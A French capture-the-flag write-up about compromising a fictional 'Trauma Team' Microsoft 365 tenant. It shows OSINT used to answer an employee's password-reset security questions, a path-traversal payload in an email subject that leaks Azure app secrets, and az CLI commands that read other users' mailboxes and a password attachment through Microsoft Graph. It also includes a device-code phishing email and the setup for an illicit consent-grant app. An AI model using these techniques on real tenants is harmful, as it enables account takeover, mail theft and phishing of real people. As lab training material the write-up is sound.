🧩 Description
Après qu’un de vos amis a été laissé pour mort par le trauma team, vous décidez d’intervenir et de compromettre leur chef des opérations.
Imagine tu peux reset un mot de passe avec des questions de sécurité, juste imagine.
Analyse
Le sites possède 3 pages, Home avec dans un premier temps des infos bidon, puis un email avec une procédure de contacte.
Il est possible d’envoyer une demande de prise en charge en envoyant un email a contact@trauma-team.fr
avec en sujet [OSCUR] license_id
. Cette fonctionalité va être utile plus tard.
Une autre page : Our TEAM
permet d’obtenir des infos sur les employés :
- Tom Saoul
tom.saoul@trauma-team.fr
- Capucine Ballerina
capucine.ballerina@trauma-team.fr
- Lary Lamila
lary.lamila@trauma-team.fr
Une dernière page permet de se connecter au site, cependant elle renvoie vers Microsoft.
Compromission tom saoul
Le hint dans la description du challenge indique qu’il y a sûrement une façon de réinitialiser les mots de passe via des questions de sécurité. Il suffit donc de se connecter avec un des 3 comptes et de cliquer sur "mot de passe oublié" pour observer quelles méthodes de réinitialisation sont configurées.
Il faut 3 réponses valides pour réinitialiser le compte :
- Nom de l’animal de compagnie
- Repas préféré
- Artiste préféré
Les trois réponses doivent être correctes pour réinitialiser le mot de passe et obtenir un accès au compte.
Osint
Étant donné que mes compétences en osint sont limitées, je vais me contenter d’utiliser epios mais GHunt et holele permettent d’arriver aux même résultats.
Parmi les trois comptes exposés, seul tom.saoul@trauma-team.fr
présente des traces d’utilisation :
- Compte Google
- Spotify
- Compte Instagram
Artiste préféré : visible dans une playlist publique Spotify. Réponse : klemou
Sur Instagram tom.saoul1, il est possible de regarder les story, il est alors possible de trouver des vidéos dans un restaurant rennais ainsi qu’un hint sur un avis qui a été laissé.
Tom saoul a également créé des réels avec son chat Gatto Rapido
comme expliqué dans la description. Mi chat mi super car
Les avis google du supino à rennes permettent de trouver le plat préféré de tom saoul aka la pizza
Donc nous avons comme réponses :
- artist préféré :
klemou
- plat préféré :
pizza
- nom animal de compagni :
gatto rapido
Compromission capucine ballerina
Après connexion réussie sur le site avec le compte de Tom Saoul
, deux nouvelles pages deviennent accessibles : urgent requests
et licenses
.
La page urgent requests affiche les mails envoyés à l’adresse contact@trauma-team.fr
. Chaque demande est associée à un identifiant de licence, lequel est également lié à une couleur indicative.
La page licenses
liste l’ensemble des licences disponibles. On constate que chaque licence correspond simplement à un fichier texte, nommé selon l’identifiant de licence, et contenant en clair le type de licence associé (gold, silver, platinum).
Path traversal
Après plusieurs essais, il devient évident qu’une lecture arbitraire de fichiers est possible via une injection de chemins relatifs ../
dans le champ Subject des mails envoyés à contact@trauma-team.fr
.
L’un des premiers objectifs est d’identifier le nom de l’application ou son emplacement sur le système. Pour cela, il est pertinent de lire le contenu du fichier /proc/self/environ
, qui contient les variables d’environnement du processus en cours.
Un mail est donc envoyé avec le sujet manipulé comme suit :
To : contact@trauma-team.fr
Subject: [OSCUR] ../../../../../../../../proc/self/environ
Body : leak environ
Après avoir actualisé la page urgent requests, le contenu du fichier /proc/self/environ
est injecté dans le DOM. Celui-ci contient des informations précieuses sur le chemin de l’application, les variables d’environnement.
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/home/python/.local/bin
HOSTNAME=f96541a54104
FLASK_APP=app.py
FLASK_ENV=production
SESSION_TYPE=filesystem
TENANT_ID=827f53de-de32-403d-b035-92f54461cd0eAPP_ID=0f1b5699-400e-40f6-8fdc-aed7dc7d49c0
APP_ID=0f1b5699-400e-40f6-8fdc-aed7dc7d49c0
APP_SECRET_KEY=pdo8Q~KpLUqsC1WbOqmBDViTJ2LmsqAuhfHmaaQY
GPG_KEY=7169605F62C751356D054A26A821E680E5FA6305
PYTHON_VERSION=3.13.2
PYTHON_SHA256=d984bcc57cd67caab26f7def42e523b1c015bbc5dc07836cf4f0b63fa159eb56
FLASK_DEBUG=false
FLASK_SKIP_DOTENV=true
PYTHONUNBUFFERED=true
PYTHONPATH=.
USER=python
HOME=/home/python
Trois informations critiques sont extraites du fichier environ
:
APP_ID=0f1b5699-400e-40f6-8fdc-aed7dc7d49c0
APP_SECRET_KEY=pdo8Q~KpLUqsC1WbOqmBDViTJ2LmsqAuhfHmaaQY
FLASK_APP=app.py
# [OSCUR] ../../../../../../proc/self/cwd/app.py
from flask_session import session
from os import getenv, getcwd
from utils import get_urgent_medical_requests
from datetime import datetime
from pathlib import path
import identity
import identity.web
url = "https://trauma-team.fr"
app = flask(__name__)
app.config["session_type"] = "filesystem"
session(app)
# app.config.from_object(app_config)
auth = identity.web.auth(
session=session,
authority=f"https://login.microsoftonline.com/{getenv('tenant_id')}",
client_id=getenv('app_id'),
client_credential=getenv('app_secret_key')
)
def datetimeformat(value, format='%d/%m/%y %h:%m'):
if not value:
return ''
return datetime.strptime(value, '%y-%m-%dt%h:%m:%sz').strftime(format)
app.jinja_env.filters['datetimeformat'] = datetimeformat
@app.context_processor
def inject_user():
if user:= auth.get_user():
return {
'user_authenticated': true,
'user_email': user['preferred_username'],
'user':user['name'],
}
return {'user_authenticated': false}
@app.route("/")
def index():
return render_template('index.html')
@app.route('/login', methods=['get', 'post'])
def login():
return render_template("login.html", version=identity.__version__, **auth.log_in(
scopes=["user.read"],
redirect_uri=f"{url}/redirect"))
@app.route('/logout')
def logout():
return redirect(auth.log_out(url_for("index", _external=true)))
@app.route("/redirect")
def auth_response():
result = auth.complete_log_in(request.args)
if "error" in result:
return render_template("auth_error.html", result=result)
return redirect(url_for("index"))
@app.route('/licences')
def licenses():
if not auth.get_user():
return redirect(url_for('login'))
license_dir = path('licences')
licenses = []
curr_dir = getcwd()
if license_dir.exists() and license_dir.is_dir():
for license_file in license_dir.iterdir():
if license_file.is_file():
try:
with open(license_file, 'r') as f:
content = f.read().strip()
licenses.append({
'path': f"{curr_dir}/licences/{license_file.name}",
'id': license_file.name,
'content': content
})
except:
licenses.append({
'path': f"{curr_dir}/licences/{license_file.name}",
'id': license_file.name,
'content': 'error reading file'
})
return render_template('licenses.html', licenses=licenses)
@app.route('/urgent-requests')
def urgent_requests():
error = none
if not auth.get_user():
return redirect(url_for('login'))
try:
email_start = request.args.get('email_start', '')
if len(email_start) == 0:
requests = [req for req in get_urgent_medical_requests() if req['from'].lower().endswith("@kleman.pw")]
elif len(email_start) < 6:
error = "the filter must contain at least 6 characters"
requests = []
else:
requests = [req for req in get_urgent_medical_requests() if req['from'].lower().startswith(email_start.lower())]
except exception as e:
print(f"error fetching urgent requests: {str(e)}")
requests = []
return render_template('urgent_requests.html', requests=requests, error=error)
@app.route('/team')
def team():
employes = [
{
'nom': 'tom saoul',
'poste': 'medical director',
'email': 'tom.saoul@trauma-team.fr',
'bio': 'with more than 15 years of experience in emergency medicine, dr saoul is an expert in managing critical situations. specialized in emergency surgery and war medicine.',
'photo': 'tom-saoul.png'
},
{
'nom': 'capucine ballerina',
'poste': 'chief surgeon',
'email': 'capucine.ballerina@trauma-team.fr',
'bio': 'former military surgeon, dr ballerina excels in high-risk interventions. she has developed several innovative emergency surgery techniques.',
'photo': 'capucine-ballerina.png'
},
{
'nom': 'lary lamila',
'poste': 'operations chief',
'email': 'lary.lamila@trauma-team.fr',
'bio': 'former military pilot, lary supervises all rescue operations. her expertise in logistics and crisis management is invaluable to the team.',
'photo': 'lary-lamila.png'
}
]
return render_template('team.html', employes=employes)
if __name__ == "__main__":
app.run(debug=true)
# [OSCUR] ../../../../../../../../proc/self/cwd/utils.py
from msal import ConfidentialClientApplication
from os import getenv
from os import path
import requests
def get_access_token():
app = ConfidentialClientApplication(
client_id=getenv('APP_ID'),
client_credential=getenv('APP_SECRET_KEY'),
authority=f"https://login.microsoftonline.com/{getenv('TENANT_ID')}"
)
result = app.acquire_token_silent(
scopes=["https://graph.microsoft.com/.default"],
account=None
)
if not result:
result = app.acquire_token_for_client(
scopes=["https://graph.microsoft.com/.default"]
)
if "access_token" in result:
return result["access_token"]
else:
raise Exception(result.get("error_description", "Unknown error"))
def read_all_emails():
access_token = get_access_token()
headers = {
'Authorization': f'Bearer {access_token}',
'Content-Type': 'application/json'
}
# Lire les emails de la boîte de messagerie partagée
try:
response = requests.get(
'https://graph.microsoft.com/v1.0/users/contact@trauma-team.fr/mailFolders/Inbox/messages',
headers=headers
)
response.raise_for_status() # Lève une exception pour les erreurs HTTP
emails = response.json().get('value', [])
return emails
except Exception as e:
print(f"Error reading emails: {str(e)}")
return []
def get_urgent_medical_requests():
all_emails = read_all_emails()
urgent_requests = []
for email in all_emails:
subject = email.get('subject', '')
if subject.upper().startswith('[OSCUR]'):
if (licence := subject.lower().split('[oscur]')[1].replace(' ','')) != '':
urgent_requests.append({
'id': email.get('id'),
'from': email.get('from', {}).get('emailAddress', {}).get('address'),
'subject': licence[:3] + '...' + licence[-3:],
'received': email.get('receivedDateTime'),
'body': email.get('bodyPreview', 'Pas de contenu'),
'importance': email.get('importance', 'normal'),
'licence': open(f'licences/{licence}', 'r').read() if path.exists(f'licences/{licence}') else 'Not Found',
})
return urgent_requests
Le code montre explicitement que l’application a accès aux mails de contact@trauma-team.fr
, mais ses permissions ne s’y limitent pas. Elle possède les droits nécessaires pour consulter l’ensemble des boîtes mail du tenant. Il devient alors pertinent de tenter la lecture des messages appartenant aux autres utilisateurs.
Récupération des emails
L’accès aux boîtes mail peut être effectué via un script Python, comme vu précédemment, mais il est également possible d’exploiter les identifiants applicatifs directement avec la CLI officielle Azure az cli
.
Dans ce contexte, la Microsoft Graph API devient une surface d’intérêt majeure. Il s’agit d’une API unifiée exposant les données et les opérations de l’ensemble des services Microsoft 365, notamment Outlook, OneDrive, Teams. Graph permet d’interagir avec les ressources d’un tenant en effectuant des requêtes HTTP standardisées sur des endpoints RESTful. L’autorisation est gérée via OAuth2, et le scope d’accès est strictement conditionné par les permissions accordées à l’application.
Dans ce cas, l’authentification se fait en tant que service principal à l’aide de l’APP_ID
, du APP_SECRET_KEY
, et du TENANT_ID
:
$ az login --allow-no-subscriptions --service-principal --username '0f1b5699-400e-40f6-8fdc-aed7dc7d49c0' --password 'pdo8Q~KpLUqsC1WbOqmBDViTJ2LmsqAuhfHmaaQY' --tenant '827f53de-de32-403d-b035-92f54461cd0e'
[
{
"cloudName": "AzureCloud",
"id": "827f53de-de32-403d-b035-92f54461cd0e",
"isDefault": true,
"name": "N/A(tenant level account)",
"state": "Enabled",
"tenantId": "827f53de-de32-403d-b035-92f54461cd0e",
"user": {
"name": "0f1b5699-400e-40f6-8fdc-aed7dc7d49c0",
"type": "servicePrincipal"
}
}
]
Une fois l’accès validé, il devient possible de consulter les messages reçus par capucine.ballerina@trauma-team.fr
. Les métadonnées associées peuvent être récupérées en interrogeant directement l’API Microsoft Graph.
$ az rest --method GET --uri "https://graph.microsoft.com/v1.0/users/capucine.ballerina@trauma-team.fr/messages?\$top=100" --query "value[].{Sender: from.emailAddress.address, Sujet: subject}" --output table
Date Sender Sujet
---------------- --------------------------------- ------------------------------------------------------
2025-06-21T15:46 lary.lamila@trauma-team.fr Re: Youhouuuu
...
2025-06-18T14:14 lary.lamila@trauma-team.fr I love click
2025-05-16T13:56 klemou@kleman.pw Your new credential
2025-05-14T09:00 noreply@google.com Valider votre adresse e-mail
Parmi les messages récupérés, un mail intitulé "Your new credential" se distingue immédiatement en raison de sa nature potentiellement sensible. Son contenu suggère la transmission d’identifiants ou de secrets exploitables.
$ az rest --method GET --uri "https://graph.microsoft.com/v1.0/users/capucine.ballerina@trauma-team.fr/messages?\$filter=subject eq 'Your new credential'" --headers "ConsistencyLevel=eventual" --query "value[0].id" --output tsv
AAMkADllNWJiNmMyLTQ0Y2YtNDk5Mi05ZWViLWY0N2I3MzM1MjcxZgBGAAAAAAD4P7Mpw7CQTpmLusKI_ej9BwBsWc5pdWRFT4zyAc0G2sZfAAAAAAEMAABsWc5pdWRFT4zyAc0G2sZfAAAAYe8hAAA=
Le contenu du message indique explicitement que les identifiants fournis en pièce jointe correspondent au mot de passe Office actuellement actif :
$ az rest --method GET --uri "https://graph.microsoft.com/v1.0/users/capucine.ballerina@trauma-team.fr/messages/AAMkADllNWJiNmMyLTQ0Y2YtNDk5Mi05ZWViLWY0N2I3MzM1MjcxZgBGAAAAAAD4P7Mpw7CQTpmLusKI_ej9BwBsWc5pdWRFT4zyAc0G2sZfAAAAAAEMAABsWc5pdWRFT4zyAc0G2sZfAAAAYe8hAAA=" --query "body.content" --output tsv > mail.html
$ carbonyl file://$(pwd)/mail.html
It appears to be the same credentials as your Office password. You should change it as soon as possible.
The credentials are included in the attachment.
Cette précision implique que la pièce jointe contient des informations d’authentification actives et directement exploitables, permettant un accès immédiat au compte de Capucine Ballerina.
$ az rest --method GET --uri "https://graph.microsoft.com/v1.0/users/capucine.ballerina@trauma-team.fr/messages/AAMkADllNWJiNmMyLTQ0Y2YtNDk5Mi05ZWViLWY0N2I3MzM1MjcxZgBGAAAAAAD4P7Mpw7CQTpmLusKI_ej9BwBsWc5pdWRFT4zyAc0G2sZfAAAAAAEMAABsWc5pdWRFT4zyAc0G2sZfAAAAYe8hAAA=/attachments" | jq -r '.value[] | [.name, (.contentBytes | @base64d)] | @tsv'
creds.txt capucine.ballerina@trauma-team.fr:5vIRwMpBYdcdlw3Y\n
La pièce jointe fournit un couple identifiant/mot de passe valide pour le compte capucine.ballerina@trauma-team.fr
. Ces identifiants ne se limitent pas à l’accès Office : ils peuvent potentiellement être réutilisés sur d’autres services liés au domaine trauma-team.fr
.
Compromission lary lamila
L’analyse du compte OneNote de Capucine met en évidence un premier flag, accompagné d’un message explicitant la nécessité de conduire une phase de phishing. Le texte insiste sur le contournement des protections classiques : reproduire visuellement une page de connexion ne suffit pas, l’authentification doit transiter par l’infrastructure réelle de Microsoft.
Cette contrainte exclut toute approche basée sur des pages statiques ou auto-hébergées, et impose l’utilisation de techniques capturant des jetons OAuth valides via les flux officiels.
Deux vecteurs sont implicitement suggérés :
-
Phishing par Device Code Flow : exploite le mécanisme d’authentification destiné aux appareils à interface limitée. La victime est invitée à saisir un code valide sur microsoft.com/devicelogin, l’authentification s’effectue dans un environnement de confiance, mais le jeton est récupéré par l’attaquant.
-
Attaque par Illicit Grant : consiste à faire accepter, par la victime, une demande de consentement OAuth émanant d’une application malveillante. Une fois les permissions accordées, l’application obtient un jeton d’accès utilisable sans interaction supplémentaire.
Dans les deux cas, l’objectif est l’obtention d’un access token valide, permettant l’accès aux ressources protégées sans déclencher de suspicion immédiate.
Device code phising
Le Device Code Phishing repose sur le fonctionnement légitime du flux d’authentification destiné aux appareils à capacités limitées, comme les téléviseurs ou les consoles.
Dans le scénario classique, une application génère un code à usage unique (device code) et fournit une URL de connexion à l’utilisateur. Celui-ci se rend sur le site https://microsoft.com/devicelogin
, entre le code, s’authentifie, et autorise ainsi l’application à accéder à ses ressources.
Dans un contexte de phishing, le mécanisme est détourné : l’attaquant génère un device code et envoie un e-mail à la victime contenant ce code et l’URL d’authentification. En persuadant la victime de se connecter, l’attaquant récupère un jeton OAuth associé à son propre client applicatif, mais au nom de l’utilisateur ciblé.
L’intérêt principal est l’absence de page de connexion falsifiée. L’authentification se fait sur le domaine Microsoft réel, contournant ainsi la méfiance visuelle et les protections anti-phishing traditionnelles.
L’outil GraphSpy permet de générer des device codes à usage malveillant. Depuis l’onglet Authentication > Device Codes, on peut initier une demande d’accès OAuth pour la ressource https://graph.microsoft.com
, en spécifiant comme client ID d3590ed6-52b3-4102-aeff-aad2292ab01c
, correspondant à une application Microsoft Office officielle.
Le device code généré est ensuite intégré dans un e-mail de phishing, incitant la cible à finaliser l’authentification légitime.
Exemple de message :
Subject: Sécurité renforcée requise pour accéder à votre portail Microsoft
Bonjour,
Nous avons récemment mis à jour notre infrastructure de sécurité.
Afin de continuer à accéder à vos fichiers et services, une **authentification manuelle** est requise.
Merci de compléter la procédure suivante :
1. Rendez-vous sur le lien sécurisé : https://microsoft.com/devicelogin
2. Entrez le code suivant dans le champ prévu : **CEQ2JQQUE**
Cette action est obligatoire pour garantir votre accès sans interruption.
Cordialement,
Capucine Ballerina
trauma-team.fr
Une fois Lary Lamila connecté, graphspy affiche notre device en vert, il est alors possible d’aller dans l’onglet Files > Onedrive et voir le fichier flag.txt
Consent grant attack
Une méthode complémentaire d’abus OAuth consiste à enregistrer une application malveillante dans Azure AD, puis à inciter l’utilisateur cible à accorder les autorisations demandées via l’interface de consentement standard. Une fois le consentement validé, l’application obtient un jeton d’accès au nom de l’utilisateur.
L’application est initialisée via Azure CLI :
APP_ID=$(az ad app create --display-name "Camionnette365" | jq -r ".appId")
az ad app update --id "$APP_ID" --web-redirect-uris "https://camionnette365.kleman.pw/getAToken"
az ad app credential reset --id $APP_ID --append --years 1
The output includes credentials that you must protect. Be sure that you do not include these credentials in your code or check the credentials into your source control. For more information, see https://aka.ms/azadsp-cli
{
"appId": "dd27488f-f7aa-4543-9f73-984e3f838350",
"password": "Z368Q~JoXDrJR2ZG5WtuIPxCAZShnhEaREYhldi~",
"tenant": "827f53de-de32-403d-b035-92f54461cd0e"
}
L’outil Camionnette365 permet d’automatiser entièrement ce processus :
- Stockage des refresh tokens
- Téléchargement automatique des fichiers accessibles via l’API Microsoft Graph
Exemple d’extraction :
$ find data/onedrive/ -type f | grep -P 'lary'
data/onedrive/lary.lamila@trauma-team.fr/flag.txt
La compromission OAuth est ainsi réalisée sans contournement technique, uniquement par délégation volontaire de l’utilisateur à l’application frauduleuse.